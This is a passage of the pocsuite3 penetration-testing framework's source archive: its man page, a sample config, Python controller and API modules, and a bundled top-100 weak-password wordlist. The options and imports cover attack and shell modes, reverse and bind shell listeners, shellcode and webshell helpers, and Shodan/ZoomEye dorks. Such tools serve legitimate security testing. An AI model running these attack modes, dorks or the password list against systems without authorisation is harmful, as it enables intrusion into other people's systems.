researchers. .SH OPTIONS .SS "optional arguments:" .TP \fB\-h\fR, \fB\-\-help\fR show this help message and exit .TP \fB\-\-version\fR Show program's version number and exit .TP \fB\-\-update\fR Update Pocsuite3 .TP \fB\-n\fR, \fB\-\-new\fR Create a PoC template .TP \fB\-v\fR {0,1,2,3,4,5,6} Verbosity level: 0\-6 (default 1) .SS "Target:" .IP At least one of these options has to be provided to define the target(s) .TP \fB\-u\fR URL [URL ...], \fB\-\-url\fR URL [URL ...] Target URL/CIDR (e.g. "http://www.site.com/vuln.php?id=1") .TP \fB\-f\fR URL_FILE, \fB\-\-file\fR URL_FILE Scan multiple targets given in a textual file (one per line) .TP \fB\-p\fR PORTS, \fB\-\-ports\fR PORTS add additional port to each target ([proto:]port, e.g. 8080,https:10000) .TP \fB\-s\fR Skip target's port, only use additional port .TP \fB\-r\fR POC [POC ...] Load POC file from local or remote from seebug website .TP \fB\-k\fR POC_KEYWORD Filter PoC by keyword, e.g. ecshop .TP \fB\-c\fR CONFIGFILE Load options from a configuration INI file .SS "Mode:" .IP Pocsuite running mode options .TP \fB\-\-verify\fR Run poc with verify mode .TP \fB\-\-attack\fR Run poc with attack mode .TP \fB\-\-shell\fR Run poc with shell mode .SS "Request:" .IP Network request options .TP \fB\-\-cookie\fR COOKIE HTTP Cookie header value .TP \fB\-\-host\fR HOST HTTP Host header value .TP \fB\-\-referer\fR REFERER HTTP Referer header value .TP \fB\-\-user\-agent\fR AGENT HTTP User\-Agent header value (default random) .TP \fB\-\-proxy\fR PROXY Use a proxy to connect to the target URL (protocol://host:port) .TP \fB\-\-proxy\-cred\fR PROXY_CRED Proxy authentication credentials (name:password) .TP \fB\-\-timeout\fR TIMEOUT Seconds to wait before timeout connection (default 10) .TP \fB\-\-retry\fR RETRY Time out retrials times (default 0) .TP \fB\-\-delay\fR DELAY Delay between two request of one thread .TP \fB\-\-headers\fR HEADERS Extra headers (e.g. "key1: value1\enkey2: value2") .SS "Account:" .IP Account options .TP \fB\-\-ceye\-token\fR CEYE_TOKEN CEye token .TP \fB\-\-oob\-server\fR OOB_SERVER Interactsh server to use (default "interact.sh") .TP \fB\-\-oob\-token\fR OOB_TOKEN Authentication token to connect protected interactsh server .TP \fB\-\-seebug\-token\fR SEEBUG_TOKEN Seebug token .TP \fB\-\-zoomeye\-token\fR ZOOMEYE_TOKEN ZoomEye token .TP \fB\-\-shodan\-token\fR SHODAN_TOKEN Shodan token .TP \fB\-\-fofa\-user\fR FOFA_USER fofa user .TP \fB\-\-fofa\-token\fR FOFA_TOKEN fofa token .TP \fB\-\-quake\-token\fR QUAKE_TOKEN quake token .TP \fB\-\-hunter\-token\fR HUNTER_TOKEN hunter token .TP \fB\-\-censys\-uid\fR CENSYS_UID Censys uid .TP \fB\-\-censys\-secret\fR CENSYS_SECRET Censys secret .SS "Modules:" .IP Modules options .TP \fB\-\-dork\fR DORK Zoomeye dork used for search .TP \fB\-\-dork\-zoomeye\fR DORK_ZOOMEYE Zoomeye dork used for search .TP \fB\-\-dork\-shodan\fR DORK_SHODAN Shodan dork used for search .TP \fB\-\-dork\-fofa\fR DORK_FOFA Fofa dork used for search .TP \fB\-\-dork\-quake\fR DORK_QUAKE Quake dork used for search .TP \fB\-\-dork\-hunter\fR DORK_HUNTER Hunter dork used for search .TP \fB\-\-dork\-censys\fR DORK_CENSYS Censys dork used for search .TP \fB\-\-max\-page\fR MAX_PAGE Max page used in search API .TP \fB\-\-search\-type\fR SEARCH_TYPE search type used in search API, web or host .TP \fB\-\-vul\-keyword\fR VUL_KEYWORD Seebug keyword used for search .TP \fB\-\-ssv\-id\fR SSVID Seebug SSVID number for target PoC .TP \fB\-\-lhost\fR CONNECT_BACK_HOST Connect back host for target PoC in shell mode .TP \fB\-\-lport\fR CONNECT_BACK_PORT Connect back port for target PoC in shell mode .TP \fB\-\-tls\fR Enable TLS listener in shell mode .TP \fB\-\-comparison\fR Compare popular web search engines .TP \fB\-\-dork\-b64\fR Whether dork is in base64 format .SS "Optimization:" .IP Optimization options .TP \fB\-o\fR OUTPUT_PATH, \fB\-\-output\fR OUTPUT_PATH Output file to write (JSON Lines format) .TP \fB\-\-plugins\fR PLUGINS Load plugins to execute .TP \fB\-\-pocs\-path\fR POCS_PATH User defined poc scripts path .TP \fB\-\-threads\fR THREADS Max number of concurrent network requests (default 150) .TP \fB\-\-batch\fR BATCH Automatically choose defalut choice without asking .TP \fB\-\-requires\fR Check install_requires .TP \fB\-\-quiet\fR Activate quiet mode, working without logger .TP \fB\-\-ppt\fR Hiden sensitive information when published to the network .TP \fB\-\-pcap\fR use scapy capture flow .TP \fB\-\-rule\fR export rules, default export request and response .TP \fB\-\-rule\-req\fR only export request rule .TP \fB\-\-rule\-filename\fR RULE_FILENAME Specify the name of the export rule file .TP \fB\-\-no\-check\fR Disable URL protocol correction and honeypot check .SS "Poc options:" .IP definition options for PoC .TP \fB\-\-options\fR Show all definition options .SH EXAMPLES .PP .br Run poc with verify mode, poc will be only used for vulnerability scanning. .PP .br \fI% pocsuite -r poc_example.py -u http://example.com/ --verify\fR .PP .br Run poc with attack mode, and it may allow hackers/researchers break into labs. .PP .br \fI% pocsuite -r poc_example.py -u http://example.com/ --attack\fR .PP .br Run poc with shell mode, if executed successfully, pocsuite will drop into interactive shell. .PP .br \fI% pocsuite -r poc_example.py -u http://example.com/ --shell\fR .PP .br Using multiple threads, the default number of threads is 150. .PP .br \fI% pocsuite -r poc_example.py -u http://example.com/ --verify --threads 20\fR .PP .br Scan multiple targets given in a textual file. .PP .br \fI% pocsuite -r poc_example.py -f url.txt --verify\fR .PP .br .SH "SEE ALSO" The full documentation for .B pocsuite3 is maintained at: .br .I https://pocsuite.org .PP .SH VERSION This manual page documents pocsuite3 version 2.0.3 .SH AUTHOR .br (c) 2014-present by Knownsec 404 Team .br <404-team@knownsec.com> .LP This program is free software; you may redistribute and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; Version 2 with the clarifications and exceptions described below. This guarantees your right to use, modify, and redistribute this software under certain conditions. If you wish to embed pocsuite3 technology into proprietary software, we sell alternative licenses (contact 404-team@knownsec.com). .PP Manual page started by Tian Qiao .PP pocsuite3-2.0.3/pocsuite.ini000066400000000000000000000060121440624615500157740ustar00rootroot00000000000000[Target] ; target url/cidr (e.g. "http://www.site.com/vuln.php?id=1") url = https://www.google.com ; scan multiple targets given in a textual file (one per line) url_file = ; add additional port to each target ([proto:]port, e.g. 8080,https:10000) ports = ; Skip target's port, only use additional port skip_target_port = ; load poc file from local or remote from seebug website poc = ; filter poc by keyword, e.g. cve-2021-22005 poc_keyword = cve-2021-41773 [Mode] ; run poc with verify mode ; run poc with attack mode ; run poc with shell mode mode = verify [Request] ; http cookie header value cookie = ; http host header value host = ; http referer header value referer = ; http user-agent header value (default random) agent = ; use a proxy to connect to the target url (protocol://host:port) proxy = ; proxy authentication credentials (name:password) proxy_cred = ; seconds to wait before timeout connection (default 10) timeout = ; time out retrials times (default 0) retry = ; delay between two request of one thread delay = ; extra headers (e.g. "key1: value1\nkey2: value2") headers = [Account] ; ceye token ceye_token = ; oob server oob_server = ; oob token oob_token = ; seebug token seebug_token = ; zoomeye token zoomeye_token = ; Shodan token shodan_token = ; fofa user fofa_user = ; fofa token fofa_token = ; quake token quake_token = ; hunter token hunter_token = ; Censys uid censys_uid = ; Censys secret censys_secret = [Modules] ; zoomeye dork used for search dork = ; zoomeye dork used for search dork_zoomeye = ; shodan dork used for search dork_shodan = ; censys dork used for search dork_censys = ; fofa dork used for search dork_fofa = ; quake dork used for search dork_quake = ; hunter dork used for search dork_hunter = ; max page used in search api max_page = 1 ; search type used in zoomeye api, web or host search_type = host ; seebug keyword used for search vul_keyword = ; seebug ssvid number for target poc ssvid = ; connect back host for target poc in shell mode connect_back_host = ; connect back port for target poc in shell mode connect_back_port = ; enable TLS listener in shell mode enable_tls_listener = False ; compare popular web search engines comparison = False ; whether dork is in base64 format dork_b64 = False [Optimization] ; output file to write (json lines format) output_path = ; load plugins to execute plugins = ; user defined poc scripts path pocs_path = ; max number of concurrent network requests (default 150) threads = ; automatically choose defaut choice without asking batch = ; check install_requires check_requires = False ; activate quiet mode, working without logger quiet = False ; hiden sensitive information when published to the network ppt = False ; use scapy capture flow pcap = False ; export suricata rules, default export request and response rule = False ; only export suricata request rule rule_req = False ; specify the name of the export rule file rule_filename = ; Disable URL protocol correction and honeypot check no_check = [Poc options] ; show all definition options show_options = pocsuite3-2.0.3/pocsuite3/000077500000000000000000000000001440624615500153575ustar00rootroot00000000000000pocsuite3-2.0.3/pocsuite3/__init__.py000066400000000000000000000005341440624615500174720ustar00rootroot00000000000000__title__ = 'pocsuite3' __version__ = '2.0.3' __author__ = 'Knownsec 404 Team' __author_email__ = '404-team@knownsec.com' __license__ = 'GPLv2' __copyright__ = 'Copyright 2014-present Knownsec 404 Team' __name__ = 'pocsuite3' __package__ = 'pocsuite3' from .lib.core.common import set_paths from .cli import module_path set_paths(module_path()) pocsuite3-2.0.3/pocsuite3/api/000077500000000000000000000000001440624615500161305ustar00rootroot00000000000000pocsuite3-2.0.3/pocsuite3/api/__init__.py000066400000000000000000000053221440624615500202430ustar00rootroot00000000000000import base64 import binascii import collections import json import os import re import socket import ssl import struct import textwrap import time import urllib import zlib from pocsuite3.lib.controller.controller import start from pocsuite3.lib.core.common import (OrderedDict, OrderedSet, check_port, encoder_bash_payload, encoder_powershell_payload, get_host_ip, get_host_ipv6, mosaic, single_time_warn_message, urlparse) from pocsuite3.lib.core.data import conf, kb, logger, paths from pocsuite3.lib.core.datatype import AttribDict from pocsuite3.lib.core.enums import PLUGIN_TYPE, POC_CATEGORY, VUL_TYPE from pocsuite3.lib.core.interpreter_option import (OptBool, OptDict, OptFloat, OptInteger, OptIP, OptItems, OptPort, OptString) from pocsuite3.lib.core.option import init, init_options from pocsuite3.lib.core.plugin import PluginBase, register_plugin from pocsuite3.lib.core.poc import Output, POCBase from pocsuite3.lib.core.register import (load_file_to_module, load_string_to_module, register_poc) from pocsuite3.lib.core.settings import DEFAULT_LISTENER_PORT from pocsuite3.lib.request import requests from pocsuite3.lib.utils import (generate_shellcode_list, get_middle_text, minimum_version_required, random_str) from pocsuite3.lib.yaml.nuclei import Nuclei from pocsuite3.modules.censys import Censys from pocsuite3.modules.ceye import CEye from pocsuite3.modules.fofa import Fofa from pocsuite3.modules.httpserver import PHTTPServer from pocsuite3.modules.hunter import Hunter from pocsuite3.modules.interactsh import Interactsh from pocsuite3.modules.listener import (BIND_PAYLOAD, REVERSE_PAYLOAD, bind_shell, bind_tcp_shell, bind_telnet_shell) from pocsuite3.modules.quake import Quake from pocsuite3.modules.seebug import Seebug from pocsuite3.modules.shodan import Shodan from pocsuite3.modules.spider import crawl from pocsuite3.modules.zoomeye import ZoomEye from pocsuite3.shellcodes import OSShellcodes, WebShell def get_listener_ip(): return conf.connect_back_host def get_listener_port(): return conf.connect_back_port def get_current_poc_obj(): pass def get_poc_options(poc_obj=None): poc_obj = poc_obj or kb.current_poc return poc_obj.get_options() def get_results(): return kb.results def init_pocsuite(options={}): init_options(options) init() def start_pocsuite(): start() pocsuite3-2.0.3/pocsuite3/cli.py000066400000000000000000000041541440624615500165040ustar00rootroot00000000000000import os import sys import threading import time import traceback try: import pocsuite3 except ImportError: sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), os.path.pardir))) from pocsuite3.lib.core.option import init from pocsuite3.lib.core.option import init_options from pocsuite3.lib.core.exception import PocsuiteUserQuitException, PocsuiteSystemException from pocsuite3.lib.core.exception import PocsuiteShellQuitException from pocsuite3.lib.core.common import set_paths from pocsuite3.lib.core.common import banner from pocsuite3.lib.core.common import data_to_stdout from pocsuite3.lib.core.data import logger from pocsuite3.lib.parse.cmd import cmd_line_parser from pocsuite3.lib.controller.controller import start def module_path(): """ This will get us the program's directory """ return os.path.dirname(os.path.realpath(__file__)) def check_environment(): try: os.path.isdir(module_path()) except Exception: err_msg = "your system does not properly handle non-ASCII paths. " err_msg += "Please move the pocsuite's directory to the other location" logger.critical(err_msg) raise SystemExit def main(): """ @function Main function of pocsuite when running from command line. """ try: check_environment() set_paths(module_path()) banner() init_options(cmd_line_parser().__dict__) data_to_stdout("[*] starting at {0}\n\n".format(time.strftime("%X"))) init() try: start() except threading.ThreadError: raise except PocsuiteUserQuitException: pass except PocsuiteShellQuitException: pass except PocsuiteSystemException: pass except KeyboardInterrupt: pass except EOFError: pass except SystemExit: pass except Exception: exc_msg = traceback.format_exc() data_to_stdout(exc_msg) raise SystemExit finally: data_to_stdout("\n[*] shutting down at {0}\n\n".format(time.strftime("%X"))) if __name__ == "__main__": main() pocsuite3-2.0.3/pocsuite3/console.py000066400000000000000000000012351440624615500173740ustar00rootroot00000000000000#!/usr/bin/env python3 # -*- coding: utf-8 -*- # @Time : 2018/12/25 morning 10:49 # @Author : chenghs # @File : console.py import os import sys try: import pocsuite3 except ImportError: sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), os.path.pardir))) from pocsuite3.cli import check_environment, module_path from pocsuite3 import set_paths from pocsuite3.lib.core.interpreter import PocsuiteInterpreter from pocsuite3.lib.core.option import init_options def main(): check_environment() set_paths(module_path()) init_options() poc = PocsuiteInterpreter() poc.start() if __name__ == '__main__': main() pocsuite3-2.0.3/pocsuite3/data/000077500000000000000000000000001440624615500162705ustar00rootroot00000000000000pocsuite3-2.0.3/pocsuite3/data/password-top100.txt000066400000000000000000000012741440624615500217200ustar00rootroot00000000000000admin admin12 admin888 admin8 admin123 sysadmin adminxxx adminx 6kadmin base feitium admins root roots test test1 test123 test2 password aaaAAA111 888888 88888888 000000 00000000 111111 11111111 aaaaaa aaaaaaaa 135246 135246789 123456 654321 12345 54321 123456789 1234567890 0 123qwe 123qweasd qweasd 123asd qwezxc qazxsw qazwsx qazwsxedc 1qaz2wsx zxcvbn asdfgh qwerty qazxdr qwaszx 111111 123123 123321 abcdef abcdefg !@#$%^ !@#$% ~!@#$% %$#@! ^%$#@~! 88888 55555 aaaaa asd123 qweasdzxc zxcvb asdfg qwert 1 2 3 4 5 qwe qwer welcome !@#123 111 12 123 123!@# 123654 123654789 123654789! 123go 1314520 133135136 13572468 19880118 1992724 20080808 3452510 360 360sb 376186027 3est 45189946 4816535 4lertpocsuite3-2.0.3/pocsuite3/lib/000077500000000000000000000000001440624615500161255ustar00rootroot00000000000000pocsuite3-2.0.3/pocsuite3/lib/__init__.py000066400000000000000000000000001440624615500202240ustar00rootroot00000000000000pocsuite3-2.0.3/pocsuite3/lib/controller/000077500000000000000000000000001440624615500203105ustar00rootroot00000000000000pocsuite3-2.0.3/pocsuite3/lib/controller/__init__.py000066400000000000000000000000001440624615500224070ustar00rootroot00000000000000pocsuite3-2.0.3/pocsuite3/lib/controller/controller.py000066400000000000000000000176531440624615500230610ustar00rootroot00000000000000import copy import time from prettytable import PrettyTable from pocsuite3.lib.core.common import data_to_stdout, mosaic from pocsuite3.lib.core.data import conf, cmd_line_options from pocsuite3.lib.core.data import kb from pocsuite3.lib.core.data import logger from pocsuite3.lib.core.datatype import AttribDict from pocsuite3.lib.core.exception import PocsuiteValidationException, PocsuiteSystemException from pocsuite3.lib.core.poc import Output from pocsuite3.lib.core.settings import CMD_PARSE_WHITELIST from pocsuite3.lib.core.threads import run_threads from pocsuite3.lib.utils import urlparse from pocsuite3.modules.listener import handle_listener_connection from pocsuite3.modules.listener.reverse_tcp import handle_listener_connection_for_console def runtime_check(): if not kb.registered_pocs: msg = "No poc specified, try 'pocsuite -h' or 'pocsuite --help' for more information" logger.warn(msg) raise PocsuiteSystemException(msg) def start(): runtime_check() tasks_count = kb.task_queue.qsize() info_msg = "pocsusite got a total of {0} tasks".format(tasks_count) logger.info(info_msg) conf.threads = min(conf.threads, tasks_count) logger.debug("pocsuite will open {} threads".format(conf.threads)) try: run_threads(conf.threads, task_run) logger.info("Scan completed,ready to print") finally: task_done() if conf.mode == "shell" and not conf.api: info_msg = "connect back ip: {0} port: {1}".format(mosaic(conf.connect_back_host), conf.connect_back_port) logger.info(info_msg) info_msg = "watting for shell connect to pocsuite" logger.info(info_msg) if conf.console_mode: handle_listener_connection_for_console() else: handle_listener_connection() def show_task_result(): if conf.quiet: return if not kb.results: return if conf.mode == "shell": return fields = ["target-url", "poc-name", "poc-id", "component", "version", "status"] if kb.comparison: fields.append("source") fields.append("honey-pot") results_table = PrettyTable(fields) results_table.align["target-url"] = "l" results_table.padding_width = 1 total_num, success_num = 0, 0 for row in kb.results: data = [ row.target, row.poc_name, row.vul_id, row.app_name, row.app_version, row.status, ] if kb.comparison: source, honey = kb.comparison.getinfo(row.target) data.append(source) data.append(honey) results_table.add_row(data) total_num += 1 if row.status == 'success': success_num += 1 data_to_stdout('\n{0}'.format(results_table.get_string(sortby="status", reversesort=True))) data_to_stdout("\nsuccess : {} / {}\n".format(success_num, total_num)) def task_run(): while not kb.task_queue.empty() and kb.thread_continue: target, poc_module = kb.task_queue.get() if not conf.console_mode: poc_module = copy.deepcopy(kb.registered_pocs[poc_module]) poc_name = poc_module.name if conf.pcap: # start capture flow import os import logging os.environ["MPLBACKEND"] = "Agg" logging.getLogger("scapy").setLevel(logging.ERROR) from pocsuite3.lib.utils.pcap_sniffer import Sniffer from scapy.utils import wrpcap sniffer = Sniffer(urlparse(target).hostname) if sniffer.use_pcap: if not sniffer.is_admin: logger.warn( "Please use administrator privileges, and the poc will continue to execute " "without fetching the packet") conf.pcap = False else: sniffer.start() # let scapy start for a while time.sleep(1) else: logger.warn("No libpcap is detected, and the poc will continue to execute without fetching the packet") conf.pcap = False info_msg = "running poc:'{0}' target '{1}'".format(poc_name, mosaic(target)) logger.info(info_msg) # hand user define parameters if hasattr(poc_module, "_options"): for item in kb.cmd_line: value = cmd_line_options.get(item, "") if item in poc_module.options: poc_module.set_option(item, value) info_msg = "Parameter {0} => {1}".format(item, value) logger.info(info_msg) # check must be option for opt, v in poc_module.options.items(): # check conflict in whitelist if opt in CMD_PARSE_WHITELIST: info_msg = ( "Poc:'{0}' You can't customize this variable '{1}' because it is already taken up " "by the pocsuite.").format(poc_name, opt) logger.error(info_msg) raise SystemExit if v.require and v.value == "": info_msg = "Poc:'{poc}' Option '{key}' must be set, please add parameters '--{key}'".format( poc=poc_name, key=opt) logger.error(info_msg) raise SystemExit try: result = poc_module.execute(target, headers=conf.http_headers, mode=conf.mode, verbose=False) except PocsuiteValidationException as ex: info_msg = "Poc:'{}' PocsuiteValidationException:{}".format(poc_name, ex) logger.error(info_msg) result = None if not isinstance(result, Output) and not None: _result = Output(poc_module) if result: if isinstance(result, bool): _result.success({}) elif isinstance(result, str): _result.success({"Info": result}) elif isinstance(result, dict): _result.success(result) else: _result.success({"Info": repr(result)}) else: _result.fail('target is not vulnerable') result = _result if not result: continue if not conf.quiet: result.show_result() result_status = "success" if result.is_success() else "failed" if result_status == "success" and kb.comparison: kb.comparison.change_success(target, True) output = AttribDict(result.to_dict()) output.update({ 'target': mosaic(target), 'poc_name': poc_name, 'created': time.strftime("%Y-%m-%d %X", time.localtime()), 'status': result_status }) result_plugins_handle(output) kb.results.append(output) if conf.pcap: sniffer.join(20) if not sniffer.is_alive(): filename = urlparse(target).hostname + time.strftime('_%Y_%m_%d_%H%M%S.pcap') logger.info(f"pcap data has been saved in: {mosaic(filename)}") wrpcap(filename, sniffer.pcap.results) else: logger.error("Thread terminates timeout. Failed to save pcap") # TODO # set task delay def result_plugins_start(): """ run result plugins, such as html report :return: """ for _, plugin in kb.plugins.results.items(): plugin.start() def result_plugins_handle(output): """ run result plugins when execute poc :return: """ for _, plugin in kb.plugins.results.items(): plugin.handle(output) def result_compare_handle(): """ show comparing data from various of search engine :return: """ if not kb.comparison: return kb.comparison.output() def task_done(): show_task_result() result_plugins_start() result_compare_handle() pocsuite3-2.0.3/pocsuite3/lib/core/000077500000000000000000000000001440624615500170555ustar00rootroot00000000000000pocsuite3-2.0.3/pocsuite3/lib/core/__init__.py000066400000000000000000000000001440624615500211540ustar00rootroot00000000000000pocsuite3-2.0.3/pocsuite3/lib/core/clear.py000066400000000000000000000004561440624615500205220ustar00rootroot00000000000000import logging def remove_extra_log_message(): logger_names = [ "paramiko", "paramiko.transport", "websockets", ] for logger_name in logger_names: try: logging.getLogger(logger_name).disabled = True except Exception: pass pocsuite3-2.0.3/pocsuite3/lib/core/common.py000066400000000000000000000746441440624615500207360ustar00rootroot00000000000000# pylint: disable=E1101 import base64 import hashlib import inspect import logging import os import re import select import shlex import socket import struct import subprocess import sys import time import collections import chardet import requests import urllib from collections import OrderedDict from functools import wraps from ipaddress import ip_address, ip_network from platform import machine from subprocess import call, Popen, PIPE from colorama.initialise import init as coloramainit from termcolor import colored from pocsuite3.lib.core.convert import stdout_encode from pocsuite3.lib.core.data import conf from pocsuite3.lib.core.data import kb from pocsuite3.lib.core.data import logger from pocsuite3.lib.core.data import paths from pocsuite3.lib.core.decorators import cachedmethod from pocsuite3.lib.core.enums import OS_ARCH, OS from pocsuite3.lib.core.exception import PocsuiteSystemException from pocsuite3.lib.core.log import LOGGER_HANDLER from pocsuite3.lib.core.settings import ( BANNER, BOLD_PATTERNS, IS_WIN, URL_DOMAIN_REGEX, LOCAL_IP_ADDRESS_REGEX, IP_ADDRESS_WITH_PORT_REGEX, IPV6_URL_REGEX, TIMESTAMP, OS_SYSTEM) from pocsuite3.lib.core.settings import IPV6_ADDRESS_REGEX from pocsuite3.lib.core.settings import IP_ADDRESS_REGEX from pocsuite3.lib.core.settings import OLD_VERSION_CHARACTER from pocsuite3.lib.core.settings import POCSUITE_VERSION_CHARACTER from pocsuite3.lib.core.settings import POC_REQUIRES_REGEX from pocsuite3.lib.core.settings import UNICODE_ENCODING from pocsuite3.lib.core.settings import URL_ADDRESS_REGEX try: collectionsAbc = collections.abc except AttributeError: collectionsAbc = collections def urlparse(address): # https://stackoverflow.com/questions/50499273/urlparse-fails-with-simple-url try: ip = ip_address(address) if ip.version == 4: return urllib.parse.urlparse(f'tcp://{address}') elif ip.version == 6: return urllib.parse.urlparse(f'tcp://[{address}]') except ValueError: pass if not re.search(r'^[A-Za-z0-9+.\-]+://', address): address = f'tcp://{address}' return urllib.parse.urlparse(address) def read_binary(filename): content = '' with open(filename, 'rb') as f: content = f.read() return content def check_path(path): return True if path and os.path.exists(path) else False def check_file(filename): """ @function Checks for file existence and readability """ valid = True if filename is None or not os.path.isfile(filename): valid = False if valid: try: with open(filename, "rb"): pass except Exception: valid = False if not valid: raise PocsuiteSystemException("unable to read file '%s'" % filename) return valid def set_paths(root_path): """ Sets absolute paths for project directories and files """ paths.POCSUITE_ROOT_PATH = root_path paths.POCSUITE_DATA_PATH = os.path.join(paths.POCSUITE_ROOT_PATH, "data") paths.POCSUITE_PLUGINS_PATH = os.path.join(paths.POCSUITE_ROOT_PATH, "plugins") paths.POCSUITE_POCS_PATH = os.path.join(paths.POCSUITE_ROOT_PATH, "pocs") paths.USER_POCS_PATH = None paths.WEAK_PASS = os.path.join(paths.POCSUITE_DATA_PATH, "password-top100.txt") paths.POCSUITE_HOME_PATH = os.path.expanduser("~") _ = os.path.join(paths.POCSUITE_HOME_PATH, ".pocsuite") paths.API_SHELL_HISTORY = os.path.join(_, "api.hst") paths.OS_SHELL_HISTORY = os.path.join(_, "os.hst") paths.SQL_SHELL_HISTORY = os.path.join(_, "sql.hst") paths.POCSUITE_SHELL_HISTORY = os.path.join(_, "pocsuite.hst") paths.POCSUITE_CONSOLE_HISTORY = os.path.join(_, "console.hst") paths.POCSUITE_TMP_PATH = os.path.join(_, "tmp") paths.POCSUITE_RC_PATH = os.path.join(paths.POCSUITE_HOME_PATH, ".pocsuiterc") paths.POCSUITE_OUTPUT_PATH = paths.get("POCSUITE_OUTPUT_PATH", os.path.join(_, "output")) paths.SHELLCODES_DEV_PATH = os.path.join(paths.POCSUITE_TMP_PATH, "tools") def banner(): """ Function prints pocsuite banner with its version """ _ = BANNER # if not getattr(LOGGER_HANDLER, "is_tty", False): # _ = clear_colors(_) if IS_WIN: coloramainit() data_to_stdout(_) def set_color(message, bold=False): if isinstance(message, bytes): message = message.decode(UNICODE_ENCODING) ret = message if message and getattr(LOGGER_HANDLER, "is_tty", False): # colorizing handler if bold: ret = colored(message, color=None, on_color=None, attrs=("bold",)) return ret def clear_colors(message): ret = message if message: ret = re.sub(r"\x1b\[[\d;]+m", "", message) return ret def boldify_message(message): ret = message if any(_ in message for _ in BOLD_PATTERNS): ret = set_color(message, bold=True) return ret def data_to_stdout(data, bold=False): """ Writes text to the stdout (console) stream """ if not conf.get('quiet', False): message = "" if isinstance(data, str): message = stdout_encode(data) else: message = data sys.stdout.write(set_color(message, bold)) try: sys.stdout.flush() except IOError: pass return @cachedmethod def extract_regex_result(regex, content, flags=0): """ Returns 'result' group value from a possible match with regex on a given content >>> extract_regex_result(r'a(?P[^g]+)g', 'abcdefg') 'bcdef' """ ret = None if regex and content and "?P" in regex: match = re.search(regex, content, flags) if match: ret = match.group("result") return ret def get_latest_revision(): """ Retrieves latest revision from the offical repository """ ret = None resp = requests.get(url="https://raw.githubusercontent.com/knownsec/pocsuite3/master/pocsuite3/__init__.py") try: content = resp.content ret = extract_regex_result(r"__version__\s*=\s*[\"'](?P[\d.]+)", content) except Exception: pass return ret def poll_process(process, suppress_errors=False): """ Checks for process status (prints . if still running) """ while True: data_to_stdout(".") time.sleep(1) return_code = process.poll() if return_code is not None: if not suppress_errors: if return_code == 0: data_to_stdout(" done\n") elif return_code < 0: data_to_stdout(" process terminated by signal {}\n".format(return_code)) elif return_code > 0: data_to_stdout(" quit unexpectedly with return code {}\n".format(return_code)) break def parse_target_url(url): """ Parse target URL """ try: pr = urlparse(url) if pr.scheme.lower() not in ['http', 'https', 'ws', 'wss']: url = pr._replace(scheme='https' if str(pr.port).endswith('443') else 'http').geturl() except ValueError: pass return url def is_url_format(value): if value and re.match(URL_ADDRESS_REGEX, value): return True else: return False def is_domain_format(value): if value and re.match(URL_DOMAIN_REGEX, value): return True else: return False def is_ip_address_format(value): if value and re.match(IP_ADDRESS_REGEX, value): return True else: return False def is_ip_address_with_port_format(value): if value and re.match(IP_ADDRESS_WITH_PORT_REGEX, value): return True else: return False def is_ipv6_address_format(value): if value and re.match(IPV6_ADDRESS_REGEX, value): return True else: return False def is_ipv6_url_format(value): if value and re.match(IPV6_URL_REGEX, value): return True else: return False def is_old_version_poc(poc_string): for _ in OLD_VERSION_CHARACTER: if _ in poc_string: return True return False def is_pocsuite_poc(poc_string): for _ in POCSUITE_VERSION_CHARACTER: if _ in poc_string: return True return False def is_pocsuite3_poc(poc_string): return True if "pocsuite3" in poc_string else False def multiple_replace(text, adict): rx = re.compile("|".join(map(re.escape, adict))) def get_replace(match): return adict[match.group(0)] return rx.sub(get_replace, text) def get_filename(filepath, with_ext=True): base_name = os.path.basename(filepath) return base_name if with_ext else os.path.splitext(base_name)[0] def get_md5(value): if isinstance(value, str): value = value.encode(encoding='UTF-8') return hashlib.md5(value).hexdigest() def extract_cookies(cookie): cookies = dict([i.split("=", 1) for i in cookie.split("; ")]) return cookies def get_file_items(filename, comment_prefix='#', unicode=True, lowercase=False, unique=False): ret = list() if not unique else OrderedDict() check_file(filename) try: with open(filename, 'rb') as f: for line in f.readlines(): line = line.strip() if unicode: encoding = chardet.detect(line)['encoding'] or 'utf-8' line = line.decode(encoding) if comment_prefix and line.startswith(comment_prefix): continue if line: if lowercase: line = line.lower() if unique and line in ret: continue if unique: ret[line] = True else: ret.append(line) except (IOError, OSError, MemoryError) as ex: err_msg = "something went wrong while trying " err_msg += "to read the content of file '{0}' ('{1}')".format(filename, ex) raise PocsuiteSystemException(err_msg) return ret if not unique else ret.keys() def parse_target(address, additional_ports=[], skip_target_port=False): # parse IPv4/IPv6 CIDR targets = OrderedSet() try: hosts = list(ip_network(address, strict=False).hosts()) ''' fix https://github.com/knownsec/pocsuite3/issues/319 different python versions have different behaviors on ipaddress library ''' try: t = ip_address(address.replace('/32', '').replace('/128', '')) if t not in hosts: hosts.append(t) except ValueError: pass for ip in hosts: if ip.version == 6: conf.ipv6 = True if not skip_target_port: targets.add(str(ip)) for probe in additional_ports: probe = str(probe) # [proto:]port scheme, port = '', probe if len(probe.split(':')) == 2: scheme, port = probe.split(':') if scheme: targets.add(f'{scheme}://[{ip}]:{port}' if conf.get('ipv6', False) else f'{scheme}://{ip}:{port}') else: targets.add(f'[{ip}]:{port}' if conf.get('ipv6', False) else f'{ip}:{port}') return targets except ValueError: pass # URL try: if ip_address(urlparse(address).hostname).version == 6: conf.ipv6 = True except ValueError: pass if not skip_target_port: targets.add(address) try: pr = urlparse(address) for probe in additional_ports: probe = str(probe) # [proto:]port scheme, port = '', probe if len(probe.split(':')) == 2: scheme, port = probe.split(':') netloc = f'[{pr.hostname}]:{port}' if conf.get('ipv6', False) else f'{pr.hostname}:{port}' t = pr._replace(netloc=netloc) if scheme: t = t._replace(scheme=scheme) t = t.geturl() if t.startswith('tcp://'): t = t.lstrip('tcp://') targets.add(t) except ValueError: pass return targets def single_time_log_message(message, level=logging.INFO, flag=None): if flag is None: flag = hash(message) if flag not in kb.single_log_flags: kb.single_log_flags.add(flag) logger.log(level, message) def single_time_debug_message(message): single_time_log_message(message, logging.DEBUG) def single_time_warn_message(message): single_time_log_message(message, logging.WARN) @cachedmethod def get_public_type_members(type_, only_values=False): """ Useful for getting members from types (e.g. in enums) """ ret = [] for name, value in inspect.getmembers(type_): if not name.startswith("__"): if not only_values: ret.append((name, value)) else: ret.append(value) return ret def is_local_ip(ip_string): ret = False if ip_string and isinstance(ip_string, str) and re.match(LOCAL_IP_ADDRESS_REGEX, ip_string): ret = True return ret def get_local_ip(all=True): """Fetches 